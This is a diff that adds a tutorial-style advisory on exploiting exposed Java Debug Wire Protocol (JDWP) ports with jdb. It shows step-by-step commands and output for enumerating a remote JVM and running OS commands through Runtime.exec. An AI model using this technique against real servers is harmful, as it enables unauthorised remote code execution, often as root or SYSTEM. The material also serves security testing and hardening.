|
| 1 | +JDWP Arbitrary Java Code Execution Exploitation |
| 2 | +=============================================== |
| 3 | +Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for |
| 4 | +communication between a debugger and a Java Virtual Machine (JVM) as outlined in |
| 5 | +the Java Platform Debugger Architecture. It is often used to facilitate remote |
| 6 | +debugging of a JVM over TCP/IP and can be identified by the initial protocol |
| 7 | +handshake ascii string "JDWP-Handshake", sent first by the client and responded |
| 8 | +to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in |
| 9 | +Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable |
| 10 | +services. Typically this service runs on TCP port 8000 however it can be found |
| 11 | +to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on |
| 12 | +servers running Java services. It is possible to use this utility to exploit |
| 13 | +remote JVM's and execute arbitrary Java code. An example shown here outlines |
| 14 | +how to leverage this weakness to execute arbitrary host OS commands in the |
| 15 | +context of the JVM. |
| 16 | + |
| 17 | +$ jdb -attach x.x.x.x:8000 |
| 18 | +Set uncaught java.lang.Throwable |
| 19 | +Set deferred uncaught java.lang.Throwable |
| 20 | +Initializing jdb ... |
| 21 | +> |
| 22 | + |
| 23 | +Information leaks can be leveraged to determine details about the remote OS |
| 24 | +platform and Java installation configuration through the "classpath" command. |
| 25 | + |
| 26 | +> classpath |
| 27 | +base directory: C:\Windows\system32 |
| 28 | +classpath: [ ** MASKED ** list of jar's loaded in remote JVM ] |
| 29 | +bootclasspath: [ ** MASKED ** list of JRE paths ] |
| 30 | +> |
| 31 | + |
| 32 | +jdb is capable of performing remote object creation and method invokation from |
| 33 | +within the CLI using the "print" "dump" and "eval" commands with the "new" |
| 34 | +keyword. To determine the classes and methods available use the "classes" and |
| 35 | +then "methods" on the corrosponding class. |
| 36 | + |
| 37 | +> classes |
| 38 | +... |
| 39 | +java.lang.Runtime |
| 40 | +... |
| 41 | +> methods java.lang.Runtime |
| 42 | +... |
| 43 | +java.lang.Runtime exec(java.lang.String[]) |
| 44 | +... |
| 45 | + |
| 46 | +It is often necessary to set the JDB context to be within a suspended thread or |
| 47 | +breakpoint before attempting to create a new remote object class. Using the |
| 48 | +"trace go methods" function can be used to identify a candidate for a breakpoint |
| 49 | +and then "stop in your.random.class.method()" to halt the execution of a running |
| 50 | +thread. When the execution is halted you can use "print new" to create your |
| 51 | +class and invoke methods such as in the following example. |
| 52 | + |
| 53 | +Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0 |
| 54 | +threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir") |
| 55 | +new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502" |
| 56 | +threadname[1] cont |
| 57 | +> |
| 58 | + |
| 59 | +Exploitation success will be determined from the output of the JDB process as |
| 60 | +functions returning "null" or errors about "unsuspended thread state" would |
| 61 | +indicate that exploitation was unsuccessful, however in the example above we can |
| 62 | +see that the java created a new object "java.lang.ProcessImpl@918502" indicating |
| 63 | +the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting |
| 64 | +to "java.lang.Runtime.getRuntime().exec()" however see the method / class |
| 65 | +enumeration when attempting to exploit this flaw. |
| 66 | + |
| 67 | + |
| 68 | +Your java will be executed in the context of the running JVM application, this |
| 69 | +has been identified on services running as both "root" (*nix) and "SYSTEM" |
| 70 | +(win32) in the wild. |
| 71 | + |
| 72 | + |
| 73 | + -- prdelka |
0 commit comments